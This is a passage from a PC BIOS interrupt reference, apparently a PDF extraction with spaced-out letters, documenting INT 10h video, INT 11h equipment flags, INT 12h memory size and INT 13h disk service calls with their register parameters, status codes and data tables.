- on CGA adapt er s t hi s f unct i on can di sabl e t he vi deo si gnal whi l e
per f or mi ng t he out put whi ch causes f l i t t er .

: i nt 10, f
^I NT 10, F - Get Vi deo St at e


AH = 0F


on r et ur n:
AH = number of scr een col umns
AL = mode cur r ent l y set ( see ~VI DEO MODES~)
BH = cur r ent di spl ay page


- vi deo modes gr eat er t han 13h on EGA, MCGA and VGA i ndi cat e
~I NT 10, 0~ was cal l ed wi t h t he hi gh bi t of t he mode ( AL) set
t o 1, meani ng t he di spl ay does not need cl ear ed
- f unct i on r et ur ns byt e val ue at 40: 49; On EGA, MCGA and
VGA bi t 7 of r egi st er AL i s det er mi ned by bi t 7 of BI OS Dat a
Ar ea byt e 40: 87. Thi s bi t i s usual l y set by I NT 10, 0
wi t h bi t 7 of t he r equest ed mode ( i n AL) set t o 1
Pagina 861 di 991

: i nt 10, 10
^I NT 10, 10 - Set / Get Pal et t e Regi st er s ( EGA/ VGA)

AH = 10h

% AL = 00 set i ndi vi dual pal et t e r egi st er
BH = col or val ue
BL = pal et t e r egi st er


% AL = 01 set bor der col or ( over scan r egi st er )
BH = col or val ue


% AL = 02 set al l pal et t e r egi st er s and bor der
ES: DX = poi nt er t o 17 byt e t abl e r epr esent i ng 16 pal et t e
r egi st er s and bor der col or r egi st er


% AL = 03 t oggl e i nt ensi t y/ bl i nki ng ( EGA)
BL = 0 enabl e i nt ensi t y
1 enabl e bl i nki ng


% AL = 07 r ead pal et t e r egi st er ( PS/ 2)
BL = pal et t e r egi st er t o r ead ( 0- 15)

on r et ur n:
BH = val ue of pal et t e r egi st er


% AL = 08 r ead bor der col or ( over scan r egi st er , PS/ 2)

on r et ur n:
BH = val ue of bor der col or ( over scan r egi st er )


% AL = 09 r ead pal et t e r egi st er s and bor der ( PS/ 2)
ES: DX = poi nt er t o 17 byt e t abl e r epr esent i ng 16 pal et t e
r egi st er s and bor der col or r egi st er

on r et ur n:
ES: DX = poi nt er t o t abl e pr ovi ded as i nput


% AL = 10 set DAC col or r egi st er
BX = col or r egi st er t o set
CH = gr een val ue
CL = bl ue val ue
DH = r ed val ue


% AL = 12 set bl ock of DAC col or r egi st er s
BX = f i r st col or r egi st er t o set
CX = number of col or r egi st er s t o set
ES: DX = poi nt er t o t abl e of col or val ues t o set


% AL = 13 set at t r i but e cont r ol l er col or sel ect st at e
BL = 0 set Mode Cont r ol r egi st er bi t 7
BH = val ue f or bi t 7
BL = 1 set col or sel ect r egi st er
Pagina 862 di 991
BH = val ue f or col or sel ect r egi st er


% AL = 15 r ead DAC col or r egi st er ( PS/ 2)
BX = col or r egi st er t o r ead

on r et ur n:
CH = gr een val ue
CL = bl ue val ue
DH = r ed val ue


% AL = 17 r ead bl ock of DAC col or r egi st er s
BX = f i r st col or r egi st er t o r ead
CX = number of col or r egi st er s t o r ead
ES: DX = poi nt er t o buf f er f or col or r egi st er s

on r et ur n:
ES: DX = poi nt er t o col or t abl e pr ovi ded as i nput


% AL = 18 updat e vi deo DAC mask r egi st er
BL = new mask


% AL = 19 r ead vi deo DAC mask r egi st er

on r et ur n:
BL = val ue r ead f r omvi deo DAC mask r egi st er


% AL = 1A r ead col or page st at e
BL = bi t 7 of Mode Cont r ol Regi st er
BH = bi t s 2 t hr u 3 of Col or sel ect r egi st er i f BL = 0
= bi t s 0 t hr u 3 of Col or sel ect r egi st er i f BL = 1

on r et ur n:
BL = cur r ent pagi ng mode
CX = cur r ent page



% AL = 1B sumcol or val ues t o shades of gr ay
BX = f i r st col or r egi st er t o sum
CX = number of col or r egi st er s t o sum


- cont r ol s t he pi xel col or mappi ng bi t val ues
- BI OS ext ensi on t o EGA/ VGA syst ems

: i nt 10, 11
^I NT 10, 11 - Char act er Gener at or Rout i ne ( EGA/ VGA)

AH = 11h

% AL = 00 user char act er l oad
BH = number of byt es per char act er
BL = t abl e i n char act er gener at or RAM
CX = count of char act er s i n t abl e
DX = ASCI I code of f i r st char act er def i ned
ES: BP = poi nt er t o user t abl e


Pagina 863 di 991
% AL = 01 ROM BI OS 8x14 monochr ome set
BL = t abl e i n char act er gener at or RAM


% AL = 02 ROM BI OS 8x8 doubl e dot
BL = t abl e i n char act er gener at or RAM


% AL = 03 set di spl ayed def i ni t i on t abl e
BL = val ue f or char act er Map Sel ect r egi st er ( EGA, VGA)
= char act er gener at or RAM t abl e number s ( MCGA)


% AL = 04 ROM BI OS 8x16 char act er set
BL = t abl e i n char act er gener at or RAM


% AL = 10 user speci f i ed char act er def i ni t i on t abl e
BH = byt es per char act er ( poi nt s)
BL = t abl e i n char act er gener at or RAM
CX = number of char act er s def i ned i n t abl e
DX = ASCI I code of f i r st char act er def i ned
ES: BP = poi nt er t o user t abl e


% AL = 11 ROM BI OS 8x14 monochr ome char act er set
BL = t abl e i n char act er gener at or RAM


% AL = 12 ROM 8x8 doubl e dot char act er def i ni t i ons
BL = t abl e i n char act er gener at or RAM


% AL = 14 ROM 8x16 doubl e dot char act er def i ni t i ons
BL = t abl e i n char act er gener at or RAM


% AL = 20 poi nt er t o gr aphi cs char act er t abl e f or ~I NT 1F~ ( 8x8)
ES: BP = poi nt er t o user t abl e


% AL = 21 user gr aphi cs char act er poi nt er at I NT 43
BL = r ow speci f i er
= 0 - user speci f i ed ( DL = r ows)
= 1 i s 14 r ows
= 2 i s 25 r ows
= 3 i s 43 r ows
CX = byt es per char act er ( poi nt s)
DL = r ows ( when BL = 0)
ES: BP = poi nt er t o user t abl e


% AL = 22 ROM 8x14 char act er set
BL = number of r ows ( see AL=21)
DL = r ows ( when BL = 0)


% AL = 23 ROM 8x8 doubl e dot char act er set
BL = r ow speci f i er ( see AL=21)
DL = r ows ( when BL = 0)


% AL = 24 ROM 8x16 char act er set
Pagina 864 di 991
BL = r ow speci f i er ( see AL=21)
DL = r ows ( when BL = 0)


% AL = 30 get cur r ent char act er gener at or i nf or mat i on
BH = i nf or mat i on desi r ed:
= 0 ~I NT 1F~ poi nt er
= 1 I NT 44h poi nt er
= 2 ROM 8x14 poi nt er
= 3 ROM 8x8 doubl e dot poi nt er ( base)
= 4 ROM 8x8 doubl e dot poi nt er ( t op)
= 5 ROM 9x14 al pha al t er nat e poi nt er
= 6 ROM 8x16 char act er t abl e poi nt er
= 7 ROM 9x16 al t er nat e char act er t abl e poi nt er

on r et ur n:
CX = byt es per char act er ( poi nt s)
DL = r ows ( l ess 1)
ES: BP = poi nt er t o t abl e

: i nt 10, 12
^I NT 10, 12 - Vi deo Subsyst emConf i gur at i on ( EGA/ VGA)

AH = 12h


% BL = 10 r et ur n vi deo conf i gur at i on i nf or mat i on

on r et ur n:
BH = 0 i f col or mode i n ef f ect
= 1 i f mono mode i n ef f ect
BL = 0 i f 64k EGA memor y
= 1 i f 128k EGA memor y
= 2 i f 192k EGA memor y
= 3 i f 256k EGA memor y
CH = f eat ur e bi t s
CL = swi t ch set t i ngs


% BL = 20 sel ect al t er nat e pr i nt scr een r out i ne

% BL = 30 sel ect scan l i nes f or al phanumer i c modes
AL = 0 200 scan l i nes
= 1 350 scan l i nes
= 2 400 scan l i nes

on r et ur n:
AL = 12


% BL = 31 sel ect def aul t pal et t e l oadi ng
AL = 0 enabl e def aul t pal et t e l oadi ng
= 1 di sabl e def aul t pal et t e l oadi ng

on r et ur n:
AL = 12


% BL = 32 CPU access t o vi deo RAM
AL = 0 enabl e CPU access t o vi deo RAM and I / O por t s
= 1 di sabl e CPU access t o vi deo RAM and I / O por t s

on r et ur n:
Pagina 865 di 991
AL = 12


% BL = 33 Gr ay scal e summi ng
AL = 0 enabl e gr ay scal e summi ng
= 2 di sabl e gr ay scal e summi ng

on r et ur n:
AL = 12


% BL = 34 cur sor emul at i on
AL = 0 enabl e cur sor emul at i on
= 1 di sabl e cur sor emul at i on

on r et ur n:
AL = 12


% BL = 35 PS/ 2 vi deo di spl ay swi t chi ng
AL = 0 i ni t i al adapt er vi deo of f
= 1 i ni t i al pl anar vi deo on
= 2 swi t ch act i ve vi deo of f
= 3 swi t ch i nact i ve vi deo on
ES: DX poi nt er t o 128 byt e save ar ea ( when AL = 0, 2 or 3)

on r et ur n:
AL = 12


% BL = 36 vi deo r ef r esh cont r ol
AL = 0 enabl e r ef r esh
= 1 di sabl e r ef r esh

on r et ur n:
AL = 12

: i nt 10, 13
^I NT 10, 13 - Wr i t e St r i ng ( BI OS ver si ons f r om1/ 10/ 86)

AH = 13h
AL = wr i t e mode ( see bi t set t i ngs bel ow)
= 0 st r i ng i s char s onl y, at t r i but e i n BL, cur sor not moved
= 1 st r i ng i s char d onl y, at t r i but e i n BL, cur sor moved
= 2 st r i ng cont ai ns char s and at t r i but es, cur sor not moved
= 3 st r i ng cont ai ns char s and at t r i but es, cur sor moved
BH = vi deo page number
BL = at t r i but e i f mode 0 or 1 ( AL bi t 1=0)
CX = l engt h of st r i ng ( i gnor i ng at t r i but es)
DH = r ow coor di nat e
DL = col umn coor di nat e
ES: BP = poi nt er t o st r i ng


Bi t set t i ngs f or wr i t e mode ( r egi st er AL) :

7 6 5 4 3 2 1 0 AL
0=don' t move cur sor , 1=move cur sor
0=BL has at t r i but es, 1=st r i ng has at t r i but es
unused


r et ur ns not hi ng
Pagina 866 di 991


- BEL, BS, CR, LF ar e t r eat ed as ASCI I cont r ol codes
- wr aps dat a and scr ol l s i f unabl e t o f i t dat a on one l i ne

: i nt 10, 14
^I NT 10, 14 - Load LCD Char act er Font ( conver t i bl e onl y)

AH = 14h

% AL = 0 - l oad user speci f i ed f ont
ES: DI = poi nt er t o char act er f ont
CX = number of char act er s t o st or e
DX = char of f set i nt o r amf ont ar ea
BH = number of byt es per char act er
BL = 0 l oad mai n f ont ( bl ock 0)
= 1 l oad al t er nat e f ont ( bl ock 1)

% AL = 1 - l oad syst emROM def aul t f ont
BL = 0 l oad mai n f ont ( bl ock 0)
= 1 l oad al t er nat e f ont ( bl ock 1)

% AL = 2 - set mappi ng of LCD hi gh i nt ensi t y at t r i but e
BL = 0 i gnor e hi gh i nt ensi t y at t r i but e
= 1 map hi gh i nt ensi t y t o under scor e
= 2 map hi gh i nt ensi t y t o r ever se vi deo
= 3 map hi gh i nt ensi t y t o sel ect al t er nat e f ont
: i nt 10, 15
^I NT 10, 15 - Ret ur n Physi cal Di spl ay Par ms ( conver t i bl e)


AH = 15h

on r et ur n:
AX = al t er nat e di spl ay adapt er t ype
ES: DI = poi nt er t o par amet er t abl e:


% Of f set Si ze Descr i pt i on

01 wor d moni t or model number
02 wor d ver t i cal pel s per met er
03 wor d hor i zont al pel s per met er
04 wor d t ot al number of ver t i cal pel s
05 wor d t ot al number of hor i zont al pel s
06 wor d hor i zont al pel separ at i on i n mi cr omet er s
07 wor d ver t i cal pel separ at i on i n mi cr omet er s

: i nt 10, 1a
^I NT 10, 1A - Vi deo Di spl ay Combi nat i on ( VGA)

AH = 1A
AL = 00 get vi deo di spl ay combi nat i on
= 01 set vi deo di spl ay combi nat i on
BL = act i ve di spl ay ( see t abl e bel ow)
BH = i nact i ve di spl ay


on r et ur n:
AL = 1A, i f a val i d f unct i on was r equest ed i n AH
BL = act i ve di spl ay ( AL=00, see t abl e bel ow)
BH = i nact i ve di spl ay ( AL=00)

Pagina 867 di 991
% Val i d di spl ay codes:

FF Unr ecogni zed vi deo syst em
00 No di spl ay
01 MDA wi t h monochr ome di spl ay
02 CGA wi t h col or di spl ay
03 Reser ved
04 EGA wi t h col or di spl ay
05 EGA wi t h monochr ome di spl ay
06 Pr of essi onal gr aphi cs cont r ol l er
07 VGA wi t h anal og monochr ome di spl ay
08 VGA wi t h anal og col or di spl ay
09 Reser ved
0A MCGA wi t h di gi t al col or di spl ay
0B MCGA wi t h anal og monochr ome di spl ay
0C MCGA wi t h anal og col or di spl ay

- r et ur ns val ue at byt e 40: 8A i ndi cat i ng di spl ay combi nat i on st at us
- used t o det ect vi deo di spl ay capabi l i t i es

: i nt 10, 1b
^I NT 10, 1B - Vi deo BI OS Funct i onal i t y and
^St at e I nf or mat i on ( MCGA/ VGA)

AH = 1B
BX = i mpl ement at i on t ype ( must be zer o)
ES: DI = poi nt er t o 64 byt e buf f er


on r et ur n:
AL = 1B
ES: DI = poi nt er t o updat ed buf f er ( see bel ow)


- r et ur ns st at i c and dynami c i nf or mat i on about t he cur r ent
st at e and capabi l i t i es of t he cur r ent vi deo syst em
- byt es 0- 3 of t he dynami c dat a t abl e at ES: DI cont ai n a f ar
poi nt er t o t he vi deo st at i c i nf or mat i on t abl e


^Vi deo BI OS Dynami c Funct i onal i t y St at e Tabl e ( MCGA/ VGA)

% Dynami c Vi deo St at e Tabl e

00 dwor d addr ess of st at i c f unct i onal i t y t abl e
04 byt e vi deo mode
05 wor d number of col umns
07 wor d l engt h of di spl ayed vi deo buf f er ( # byt es)
09 wor d st ar t addr ess of upper l ef t cor ner of vi deo buf f er
0B 16byt es cur sor posi t i on t abl e f or 8 pages ( col , r ow)
1B byt e cur sor end l i ne
1C byt e cur sor st ar t l i ne
1D byt e act i ve vi deo page
1E wor d I / O por t f or CRTC addr ess r egi st er
20 byt e cur r ent val ue of CRTC 3x8 r egi st er
21 byt e cur r ent val ue of CRTC 3x9 r egi st er
22 byt e number of di spl ayed char act er r ows
23 wor d hei ght of char act er mat r i x ( poi nt s)
25 byt e act i ve di spl ay combi nat i on code
26 byt e i nact i ve di spl ay combi nat i on code
27 wor d number of di spl ayed col or s ( mono = 0)
29 byt e number of suppor t ed vi deo pages
2A byt e r ast er scan l i nes 0=200, 1=350, 2=400, 3=480
Pagina 868 di 991
2B byt e t ext char act er t abl e used
2C byt e t ext char act er t abl e used
2D byt e ot her st at e i nf or mat i on:

7 6 5 4 3 2 1 0 St at e I nf or mat i on byt e at of f set 2D
1 = al l modes act i ve ( MCGA al ways 0)
1 = gr ay scal e summi ng enabl ed
1 = monochr ome di spl ay at t ached
1 = def aul t pal et t e l oadi ng di sabl ed
1 = cur sor emul at i on enabl ed
1 = bl i nki ng at t r i but e enabl ed
1 = r eser ved

2E 3byt es r eser ved
31 byt e vi deo RAM avai l abl e 0=64K, 1=128K, 2=192K, 3=256K
32 byt e save ar ea st at us

7 6 5 4 3 2 1 0 Save Ar ea St at us
1 = t wo t ext char set s ar e act i ve
1 = dynami c save ar ea i s act i ve
1 = t ext char set over r i de i s act i ve
1 = gr aphi cs char set i s over r i de act i ve
1 = pal et t e over r i de i s act i ve
1 = di spl ay combi nat i on code ext . act i ve
1 = r eser ved

33 dwor d r eser ved


^Vi deo BI OS St at i c Funct i onal i t y Tabl e ( EGA/ VGA)

7 6 5 4 3 2 1 0 Vi deo modes suppor t ed, byt e at of f set 00
1 = mode 0
1 = mode 1
1 = mode 2
1 = mode 3
1 = mode 4
1 = mode 5
1 = mode 6
1 = mode 7

7 6 5 4 3 2 1 0 Vi deo modes suppor t ed, byt e at of f set 01
1 = mode 8
1 = mode 9
1 = mode A
1 = mode B
1 = mode C
1 = mode D
1 = mode E
1 = mode F

7 6 5 4 3 2 1 0 Vi deo modes suppor t ed, byt e at of f set 02
1 = mode 10
1 = mode 11
1 = mode 12
1 = mode 13
r eser ved

03 dwor d r eser ved
07 byt e scan l i nes suppor t ed i n t ext modes

7 6 5 4 3 2 1 0 Scan l i nes suppor t ed, byt e at of f set 07
1 = 200 l i nes
Pagina 869 di 991
1 = 350 l i nes
1 = 400 l i nes

08 byt e max number of di spl ayabl e t ext char act er set s
09 byt e # of t ext def i ni t i on t abl es i n char gener at or RAM
0A byt e ot her capabi l i t y f l ags

7 6 5 4 3 2 1 0 Ot her f l ags, byt e at of f set 0A
1 = al l modes ( 0 on MCGA)
1 = gr ay scal e summi ng
1 = char act er set l oadi ng
1 = def aul t pal et t e l oadi ng
1 = cur sor emul at i on
1 = 64 col or pal et t e
1 = vi deo DAC l oadi ng
1 = DAC cont r ol l ed by ACCS

0B byt e ot her capabi l i t y f l ags

7 6 5 4 3 2 1 0 Ot her f l ags, byt e at of f set 0B
1 = l i ght pen suppor t
1 = save/ r est or e vi deo st at e
1 = bl i nki ng/ backgr ound i nt ensi t y
1 = di spl ay combi nat i on code
r eser ved

0C wor d r eser ved
0E byt e save ar ea capabi l i t i es

7 6 5 4 3 2 1 0 save ar ea capabi l i t i es at of f set 0E
1 = mul t i pl e t ext char act er set s
1 = dynami c save ar ea
1 = t ext char act er set over r i de
1 = gr aphi cs char act er set over r i de
1 = pal et t e over r i de
1 = di spl ay combi nat i on code ext ensi on
r eser ved

0F byt e r eser ved
: i nt 10, 1c
^I NT 10, 1C - Save/ Rest or e Vi deo St at e ( VGA onl y)

AH = 1C

% AL = 0 get save buf f er si ze
CX = r equest ed st at es
bi t 0: vi deo har dwar e st at e
bi t 1: vi deo BI OS dat a ar eas
bi t 2: vi deo DAC st at e

on r et ur n:
AL = 1C
BX = buf f er si ze i n 64 byt e bl ocks

% AL = 1 save r equest ed st at e
CX = r equest ed st at es ( see AL = 0)
ES: BX = poi nt er t o buf f er

r et ur ns not hi ng

% AL = 2 r est or e r equest ed st at es
CX = r equest ed st at es ( see AL = 0)
ES: BX = poi nt er t o buf f er
Pagina 870 di 991

r et ur ns not hi ng

: i nt 10, f e
^I NT 10, FE - Get DESQVi ew/ TopVi ew Vi r t ual Scr een Regen Buf f er


AH = FE
ES: DI = set t o sent i nel val ue ( t est f or I NT 10, FE suppor t ed)


r et ur ns:
ES: DI = addr ess of DESQVi ew/ TopVi ew vi deo buf f er , DI wi l l al ways
be zer o


- on r et ur n ES: DI shoul d be t est ed agai nst t he or i gi nal val ue;
t he val ue wi l l change i f t hi s f unct i on i s suppor t ed ( DESQVi ew
or TopVi ew l oaded) , ot her wi se i t wi l l r emai n unchanged
- i f ES: DI changes t hi s addr ess can be used as t he vi deo scr een
r egen buf f er

: i nt 10, f f
^I NT 10, FF - Updat e DESQVi ew/ TopVi ew Vi r t ual Scr een Regen Buf f er


AH = FF
CX = number of char act er s changed
ES: DI = poi nt er t o f i r st char act er i n buf f er t o change, ES i s
set t o segment r et ur ned by ~I NT 10, FE~


r et ur ns not hi ng


- t he physi cal scr een does not get updat ed unt i l I NT 10, FF i s
cal l ed i n TopVi ew
- i t i s not necessar y t o make t hi s cal l under DESQVi ew si nce i t
handl es updat es aut omat i cal l y
- cal l i ng t hi s f unct i on under DESQVi ew wi l l cancel t he aut omat i c
updat e mode

: i nt 11: equi pment f l ags
^I NT 11 - BI OS Equi pment Det er mi nat i on / BI OS Equi pment Fl ags

no i nput dat a

on r et ur n:
AX cont ai ns t he f ol l owi ng bi t f l ags:

F E D C B A 9 8 7 6 5 4 3 2 1 0 AX
I PL di sket t e i nst al l ed
mat h copr ocessor
ol d PC syst emboar d RAM < 256K
poi nt i ng devi ce i nst al l ed ( PS/ 2)
not used on PS/ 2
i ni t i al vi deo mode
# of di sket t e dr i ves, l ess 1
0 i f DMA i nst al l ed
number of ser i al por t s
game adapt er i nst al l ed
unused, i nt er nal modem( PS/ 2)
number of pr i nt er por t s
Pagina 871 di 991


- bi t s 3 & 2, syst emboar d RAM i f l ess t han 256K mot her boar d
00 - 16K 01 - 32K
10 - 16K 11 - 64K ( nor mal )

- bi t s 5 & 4, i ni t i al vi deo mode
00 - unused 01 - 40x25 col or
10 - 80x25 col or 11 - 80x25 monochr ome


- bi t s 7 & 6, number of di sk dr i ves at t ached, when bi t 0=1
00 - 1 dr i ve 01 - 2 dr i ves
10 - 3 dr i ve 11 - 4 dr i ves


- r et ur ns dat a st or ed at ~BI OS Dat a Ar ea~ l ocat i on 40: 10
- some f l ags ar e not guar ant eed t o be cor r ect on al l machi nes
- bi t 13 i s used on t he PCj r t o i ndi cat e ser i al pr i nt er

: i nt 12
^I NT 12 - Memor y Si ze Det er mi nat i on


no i nput dat a


on r et ur n:
AX = t he number of cont i guous 1k memor y bl ocks f ound at st ar t up

- cont i guous memor y does not i ncl ude vi deo memor y or ext ended RAM

: i nt 13: BI OS di sk ser vi ces
^I NT 13 - Di sket t e BI OS Ser vi ces

^For mor e i nf or mat i on see t he f ol l owi ng t opi cs:

~I NT 13, 0~ Reset di sk syst em
~I NT 13, 1~ Get di sk st at us
~I NT 13, 2~ Read di sk sect or s
~I NT 13, 3~ Wr i t e di sk sect or s
~I NT 13, 4~ Ver i f y di sk sect or s
~I NT 13, 5~ For mat di sk t r ack
~I NT 13, 6~ For mat t r ack and set bad sect or f l ag ( XT & por t abl e)
~I NT 13, 7~ For mat t he dr i ve st ar t i ng at t r ack ( XT & por t abl e)
~I NT 13, 8~ Get cur r ent dr i ve par amet er s ( XT & newer , see not e )
~I NT 13, 9~ I ni t i al i ze 2 f i xed di sk base t abl es ( XT & newer , see not e )
~I NT 13, A~ Read l ong sect or ( XT & newer , see not e )
~I NT 13, B~ Wr i t e l ong sect or ( XT & newer , see not e )
~I NT 13, C~ Seek t o cyl i nder ( XT & newer , see not e )
~I NT 13, D~ Al t er nat e di sk r eset ( XT & newer , see not e )
~I NT 13, E~ Read sect or buf f er ( XT & por t abl e onl y)
~I NT 13, F~ Wr i t e sect or buf f er ( XT & por t abl e onl y)
~I NT 13, 10~ Test f or dr i ve r eady ( XT & newer , see not e )
~I NT 13, 11~ Recal i br at e dr i ve ( XT & newer , see not e )
~I NT 13, 12~ Cont r ol l er r amdi agnost i c ( XT & por t abl e onl y)
~I NT 13, 13~ Dr i ve di agnost i c ( XT & por t abl e onl y)
~I NT 13, 14~ Cont r ol l er i nt er nal di agnost i c ( XT & newer , see not e )
~I NT 13, 15~ Read di sk t ype/ DASD t ype ( XT BI OS f r om1/ 10/ 86 & newer )
~I NT 13, 16~ Di sk change l i ne st at us ( XT BI OS f r om1/ 10/ 86 & newer )
~I NT 13, 17~ Set dasd t ype f or f or mat ( XT BI OS f r om1/ 10/ 86 & newer )
~I NT 13, 18~ Set medi a t ype f or f or mat ( BI OS dat e speci f i c)
~I NT 13, 19~ Par k f i xed di sk heads ( AT & newer )
Pagina 872 di 991
~I NT 13, 1A~ For mat ESDI dr i ve uni t ( PS/ 2 50+)


The 1983 ver si on of t he " I BM XT BI OS Techni cal Ref er ence"
shows t hese f unct i ons ar e avai l abl e f or t he XT but many ot her
pr ogr ammi ng r ef er ences say t hey ar en' t avai l abl e unt i l t he AT.
Thi s i s pr obabl y due t o mi sunder st andi ng t he desi gn of t he di sk
BI OS. Upon boot up t he har d di sk BI OS r epl aces t he def aul t
I NT 13h di sket t e handl er wi t h t he har d di sk I NT 13h handl er .


% Most di sk BI OS cal l s use t he f ol l owi ng par amet er scheme:

AH = f unct i on r equest number
AL = number of sect or s ( 1- 128 dec. )
CH = cyl i nder number ( 0- 1023 dec. )
CL = sect or number ( 1- 17 dec. )
DH = head number ( 0- 15 dec. )
DL = dr i ve number ( 0=A: , 1=2nd f l oppy, 80h=dr i ve 0, 81h=dr i ve 1)
DL = dr i ve number ( 0=A: , 1=2nd f l oppy, 80h=C: , 81h=D: )
Not e t hat some pr ogr ammi ng r ef er ences use ( 0- 3) as t he
dr i ve number whi ch r epr esent s di sket t es onl y.
ES: BX = addr ess of user buf f er


% and r et ur n wi t h:
CF = 0 i f successf ul
= 1 i f er r or
AH = st at us of oper at i on ( see I NT 13, STATUS)


- I NT 13 di sket t e r ead f unct i ons shoul d be r et r i ed at l east 3
t i mes t o assur e t he di sk mot or has t i me t o spi n up t o speed
- physi cal sect or number s can be conver t ed t o and f r omDOS sect or
number s wi t h t he f ol l owi ng f or mul as:

dos_sect or = ( sect or - 1) + ( head * sect or s_per _t r ack) +
( t r ack * sect or s_per _t r ack * num_heads)

physi cal _sect or = 1 + ( dos_sect or MOD sect or s_per _t r ack)
physi cal _head = ( dos_sect or / sect or s_per _t r ack) MOD num_heads
physi cal _t r ack = dos_sect or / ( sect or s_per _t r ack * num_heads)

- r egi st er s DS, BX, CX and DX ar e pr eser ved
- see ~I NT 13, STATUS~

: i nt 13, 0
^I NT 13, 0 - Reset Di sk Syst em


AH = 00
DL = dr i ve number ( 0=A: , 1=2nd f l oppy, 80h=dr i ve 0, 81h=dr i ve 1)


on r et ur n:
AH = di sk oper at i on st at us ( see ~I NT 13, STATUS~)
CF = 0 i f successf ul
= 1 i f er r or


- cl ear s r eset f l ag i n cont r ol l er and pul l s heads t o t r ack 0
- set t i ng t he cont r ol l er r eset f l ag causes t he di sk t o r ecal i br at e
on t he next di sk oper at i on
Pagina 873 di 991
- i f bi t 7 i s set , t he di sket t e dr i ve i ndi cat ed by t he l ower 7 bi t s
wi l l r eset t hen t he har d di sk wi l l f ol l ow; r et ur n code i n AH i s
f or t he dr i ve r equest ed

: i nt 13, 1: i nt 13, st at us
^I NT 13, 1 - Di sk St at us

AH = 01

on r et ur n:
AL = st at us:

% St at us i n AL

00 no er r or
01 bad command passed t o dr i ver
02 addr ess mar k not f ound or bad sect or
03 di sket t e wr i t e pr ot ect er r or
04 sect or not f ound
05 f i xed di sk r eset f ai l ed
06 di sket t e changed or r emoved
07 bad f i xed di sk par amet er t abl e
08 DMA over r un
09 DMA access acr oss 64k boundar y
0A bad f i xed di sk sect or f l ag
0B bad f i xed di sk cyl i nder
0C unsuppor t ed t r ack/ i nval i d medi a
0D i nval i d number of sect or s on f i xed di sk f or mat
0E f i xed di sk cont r ol l ed dat a addr ess mar k det ect ed
0F f i xed di sk DMA ar bi t r at i on l evel out of r ange
10 ECC/ CRC er r or on di sk r ead
11 r ecover abl e f i xed di sk dat a er r or , dat a f i xed by ECC
20 cont r ol l er er r or ( NEC f or f l oppi es)
40 seek f ai l ur e
80 t i me out , dr i ve not r eady
AA f i xed di sk dr i ve not r eady
BB f i xed di sk undef i ned er r or
CC f i xed di sk wr i t e f aul t on sel ect ed dr i ve
E0 f i xed di sk st at us er r or / Er r or r eg = 0
FF sense oper at i on f ai l ed


- codes r epr esent cont r ol l er st at us af t er l ast di sk oper at i on
- r et ur ns t he st at us byt e l ocat ed at 40: 41 i n t he ~BI OS Dat a Ar ea~

: i nt 13, 2
^I NT 13, 2 - Read Di sk Sect or s

AH = 02
AL = number of sect or s t o r ead ( 1- 128 dec. )
CH = t r ack/ cyl i nder number ( 0- 1023 dec. , see bel ow)
CL = sect or number ( 1- 17 dec. )
DH = head number ( 0- 15 dec. )
DL = dr i ve number ( 0=A: , 1=2nd f l oppy, 80h=dr i ve 0, 81h=dr i ve 1)
ES: BX = poi nt er t o buf f er


on r et ur n:
AH = st at us ( see ~I NT 13, STATUS~)
AL = number of sect or s r ead
CF = 0 i f successf ul
= 1 i f er r or

Pagina 874 di 991

- BI OS di sk r eads shoul d be r et r i ed at l east t hr ee t i mes and t he
cont r ol l er shoul d be r eset upon er r or det ect i on
- be sur e ES: BX does not cr oss a 64K segment boundar y or a
DMA boundar y er r or wi l l occur
- many pr ogr ammi ng r ef er ences l i st onl y f l oppy di sk r egi st er val ues
- onl y t he di sk number i s checked f or val i di t y
- t he par amet er s i n CX change dependi ng on t he number of cyl i nder s;
t he t r ack/ cyl i nder number i s a 10 bi t val ue t aken f r omt he 2 hi gh
or der bi t s of CL and t he 8 bi t s i n CH ( l ow or der 8 bi t s of t r ack) :

F E D C B A 9 8 7 6 5- 0 CX
sect or number
hi gh or der 2 bi t s of t r ack/ cyl i nder
l ow or der 8 bi t s of t r ack/ cyl number

- see ~I NT 13, A~

: i nt 13, 3
^I NT 13, 3 - Wr i t e Di sk Sect or s

AH = 03
AL = number of sect or s t o wr i t e ( 1- 128 dec. )
CH = t r ack/ cyl i nder number ( 0- 1023 dec. )
CL = sect or number ( 1- 17 dec. , see bel ow)
DH = head number ( 0- 15 dec. )
DL = dr i ve number ( 0=A: , 1=2nd f l oppy, 80h=dr i ve 0, 81h=dr i ve 1)
ES: BX = poi nt er t o buf f er


on r et ur n:
AH = 0 i f CF=0; ot her wi se di sk st at us ( see ~I NT 13, STATUS~)
AL = number of sect or s wr i t t en
CF = 0 i f successf ul
= 1 i f er r or


- BI OS di sk wr i t e at t empt s shoul d r eset t he cont r ol l er on er r or
- be sur e ES: BX does not cr oss a 64K segment boundar y or a
DMA boundar y er r or wi l l occur
- I BM PC XT 286 does not r equi r e a val ue i n AL, t hough i t i s
r ecommended t hat one be suppl i ed f or por t abi l i t y
- many pr ogr ammi ng r ef er ences l i st onl y f l oppy di sk r egi st er val ues
- onl y t he di sk number i s checked f or val i di t y
- t he par amet er s i n CX change dependi ng on t he number of cyl i nder s;
t he t r ack/ cyl i nder number i s a 10 bi t val ue t aken f r omt he 2 hi gh
or der bi t s of CL and t he 8 bi t s i n CH ( l ow or der 8 bi t s of t r ack) :

F E D C B A 9 8 7 6 5- 0 CX
sect or number
hi gh or der 2 bi t s of t r ack/ cyl i nder
l ow or der 8 bi t s of t r ack/ cyl number

- see ~I NT 13, B~

: i nt 13, 4
^I NT 13, 4 - Ver i f y Di sk Sect or s

AH = 04
AL = number of sect or s t o ver i f y ( 1- 128 dec. )
CH = t r ack/ cyl i nder number ( 0- 1023 dec. , see bel ow)
CL = sect or number ( 1- 17 dec. )
DH = head number ( 0- 15 dec. )
Pagina 875 di 991
DL = dr i ve number ( 0=A: , 1=2nd f l oppy, 80h=dr i ve 0, 81h=dr i ve 1)
ES: BX = poi nt er t o buf f er

on r et ur n:
AH = st at us ( see ~I NT 13, STATUS~)
AL = number of sect or s ver i f i ed
CF = 0 i f successf ul
= 1 i f er r or


- BI OS di sk r eads shoul d be r et r i ed at l east t hr ee t i mes and t he
cont r ol l er shoul d be r eset upon er r or det ect i on
- causes cont r ol l er t o cal cul at e t he CRC of t he di sk dat a and
compar e i t agai nst t he CRC st or ed i n t he sect or header
- BI OS bef or e 11/ 15/ 85 r equi r ed ES: BX poi nt t o a val i d buf f er
t hat doesn' t cr oss DMA boundar i es. Mor e r ecent BI OS ver si ons
act ual l y i gnor e t he buf f er and t he DMA boundar y r equi r ement
